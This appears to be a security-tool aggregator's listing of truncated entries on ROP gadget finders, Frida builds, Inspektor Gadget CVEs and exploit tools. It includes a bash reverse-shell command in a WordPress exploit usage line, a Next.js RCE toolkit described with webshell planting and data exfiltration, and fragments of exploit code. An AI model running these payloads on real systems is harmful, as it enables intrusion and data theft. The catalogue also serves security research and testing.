phantom-frida

phantom-frida phantom-frida 从源码构建 Android Frida Server 和 Gadget，同时更改一组有针对性的可观察运行时标识符。它是一个构建与验证框架，而非承诺能击败所有特定于应用的检测方法。 当前兼容目标为 Android 上的 Frida 17.16.4 。其他 Frida 版本在源代码合约、完整构建和已 root 设备验收流程被重复验证之前，均有意视为未经核实。 请仅将本项目用于你拥有或获授权测试的应用和设备。 已验证内容 仓库区分三类证据： 1. 单元测试与夹具测试验证输入处理、精确的 Frida 17.16.4 源码补丁合约、DEX...

LibTP_Gadget

LibTPGadget 这是 https://github.com/AlmondOffSec/LibTPLoadLib 的泛化版本，用于代理具有任意数量（实际上最多 11 个，但已经够用）参数的 API。以 Crystal Palace 共享库的形式提供。API 与 @rasta-mouse 的 LibTP 兼容，方便通过 spec 文件切换。提供了一些钩子，用于展示最新的 Crystal Palace 特性。 警告 ⚠️ ：本项目不能原样直接使用。我没有提供一个用于查找 call gadget 的模块。你需要自己寻找。阅读博客文章了解更多信息。 注意 ：由于能够传递 11 个参数（其中 ...

CVE-2019-14079

Android 上的 USB 设备模糊测试（CVE-2019-14079） 这篇博客文章是关于我在我的安卓设备（MI A2 - 运行原生安卓）上通过 USB 设备模糊测试发现的一个简单漏洞，谷歌将其标记为高严重性。该漏洞存在于高通 USB 驱动中，后来在 2020 年 3 月的安卓公告中被修补并披露。关于该漏洞，当你向安卓手机发送精心构造的 USB 请求时，会导致安卓内核崩溃，手机重启。 这个漏洞是由于 USB gadget 的 'core.c' 中使用了一个未初始化的变量。漏洞详情可以在以下高通安全公告和 2020 年 3 月安卓公告中找到。...

CVE-2019-11932

CVE-2019-11932 必须将 system 和 gadget 的地址替换为通过信息泄露漏洞获取到的实际地址。 替换 system 和 gadget 的地址后，运行以下代码生成恶意 GIF 文件： root@kitploit: notroot@osboxes:/Desktop/gif$ make ..... ..... ..... notroot@osboxes:/Desktop/gif$ ./exploit exploit.gif buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39 61 18 00 0A 00 F2 00 00 6...

Ropper

Ropper 你可以使用 Ropper 显示不同文件格式的二进制文件信息， 并搜索用于构建不同架构（x86/X8664、ARM/ARM64、MIPS/MIPS64、PowerPC/PowerPC64、SPARC64）的 ROP 链的 gadgets。 反汇编方面，Ropper 使用了强大的 Capstone 框架。 安装 通过 PyPi 安装 Capstone： root@kitploit: $ sudo pip install capstone 通过 PyPi 安装 filebytes： root@kitploit: $ sudo pip install filebytes 可选（运行...

wordpress-php-object-helper

wordpress-php-object-helper 关于 您有一个已知的带 PHP 对象漏洞的插件，但您需要确定使用哪个库来利用该问题并与 phpggc 配合运行。 这应该能帮到您。 示例输出 root@kitploit: $ python3 finder.py -u http://wordpress.lan -f wp-plugins.lst Processing URLs:...

ropr

ropr ropr 是一个极速的多线程 ROP 小工具查找器 什么是 ROP 小工具？ ROP（返回导向编程）小工具是少量汇编指令的小片段，通常以 ret 指令结尾，这些指令已作为可执行代码存在于每个二进制文件或库中。这些小工具可用于二进制利用和破坏易受攻击的可执行文件。 当多个 ROP 小工具的地址被写入缓冲区时，我们就形成了一条 ROP 链。如果攻击者能够将栈指针移入此 ROP 链，则控制权可以完全转移给攻击者。 大多数可执行文件包含足够的小工具来编写一个图灵完备的 ROP 链。对于那些没有的，我们始终可以使用位于同一地址空间中的动态库（如 libc），只要我们知道了它们的地址。 使...

CVE-2026-53941

Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. From 0.27.0 until 0.53.1, the uprobe library resolver can allow an unprivileged container to consume excessive CPU and block other containers from starting...

QLinspector

QLinspector Encontrando cadenas gadget de Java/C con CodeQL. Más información en nuestro artículo Instalación Clona el repositorio root@kitploit: $ git clone https://github.com/synacktiv/QLinspector.git Buscar gadgets: root@kitploit: $ codeql database analyze log4j --format=sarif-latest...

LCSAJdump

LCSAJdump Universal Graph-Based Framework for Automated Gadget Discovery LCSAJdump 是一个静态分析框架，旨在发现面向返回编程（ROP）和面向跳转编程（JOP）的 gadget。与传统的扫描器不同，LCSAJdump 是架构无关 的，并采用基于图的方法揭示常见线性工具无法看到的漏洞。 为什么选择 LCSAJdump？ 常见的 ROP 扫描器使用线性“滑动窗口”方法扫描二进制文件的可执行字节。这种方法系统地无法识别暗影 Gadget ：那些遍历由无条件跳转或条件分支连接的非连续内存块的执行链。 LCSAJdum...

ActiveMQ_CVE-2023-46604

ActiveMQCVE-2023-46604 Implementación en Python para construir rápidamente paquetes de tráfico de datos concurrentes; ambos gadgets están implementados: org.springframework.context.support.FileSystemXmlApplicationContext y org.springframework.context.support.ClassPathXmlApplicationContext...

ROPgadget

ROPgadget 工具 此工具允许你在二进制文件中搜索 gadget，以便于进行 ROP 利用。ROPgadget 支持 ELF/PE/Mach-O/Raw 格式，涵盖 x86、x64、ARM、ARM64、PowerPC、SPARC、MIPS、RISC-V 64 以及 RISC-V 压缩架构。 安装 最简单的方法是从 PyPi 安装 ROPgadget： root@kitploit: $ sudo apt install python3-pip $ sudo -H python3 -m pip install ROPgadget $ ROPgadget --help...

EUVD-2026-78939

Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. From 0.27.0 until 0.53.1, the uprobe library resolver can allow an unprivileged container to consume excessive CPU and block other containers from starting...

CVE-2026-53941

Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. From 0.27.0 until 0.53.1, the uprobe library resolver can allow an unprivileged container to consume excessive CPU and block other containers from starting...

EUVD-2026-78938

Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. From 0.28.0 until 0.53.1, the USDT note parser in pkg/uprobetracer/usdt.go can allow an unprivileged container to crash or exhaust the memory of the...

React2Shell

🔐 React2Shell - Next.js RSC 污染 RCE 工具包 该 Python 工具包利用 Next.js React Server Components RSC 原型污染 + React.lazy-1 gadget 链实现完全 RCE 访问，包括交互式上帝 shell、文件上传（PHP webshell 植入器）以及通过 ?out= 进行数据外泄。 图片预览 🧾 main.py 📌 用途 自动检测与利用脆弱的 Next.js 应用（例如 target.com）。生成 uid=33www-data shell，支持: 通过 childprocess.execSync 实现...

CVE-2020-36287

CVE-2020-36287 Jira Server 和 Jira Data Center 版本 8.13.5 之前，以及 8.14.0 至 8.15.1 之前版本中使用的 Atlassian 插件（gadgets plugin）的仪表盘小工具偏好设置资源，由于缺少权限检查，允许远程匿名攻击者获取小工具相关设置。 root@kitploit: Affected software: Atlassian Jira Data Center, Jira Server also tested on Jira Project Management Software Affected Vesrion:...

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE 使用Burp Suite利用Java反序列化漏洞 0x01 搭建Jboss JMXInvokerServlet 反序列化漏洞 测试环境： JBoss JMXInvokerServlet 反序列化漏洞 漏洞原理：JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。 root@kitploit:...

CVE-2022-21306

CVE-2022-21306 POC，EXP，chatGPT for me，只能给一些思路，全部不可用 code root@kitploit: import json import requests targeturl = "http://127.0.0.1:7001" headers = 'User-Agent': 'Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/58.0.3029.110 Safari/537.3', 'Content-Type':...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' 最初，CVE-2023–26326 需要借助 gadget 链才能作为反序列化漏洞加以利用。这种方法在运行 PHP 8+ 的新版 WordPress 站点上已不再可行；不过，通过与 CVE-2024-2961https://www.ambionics.io/blog/iconv-cve-2024-2961-p1 进行链式利用，可以改用 php://filter 而不是 phar:// 来实现漏洞利用。...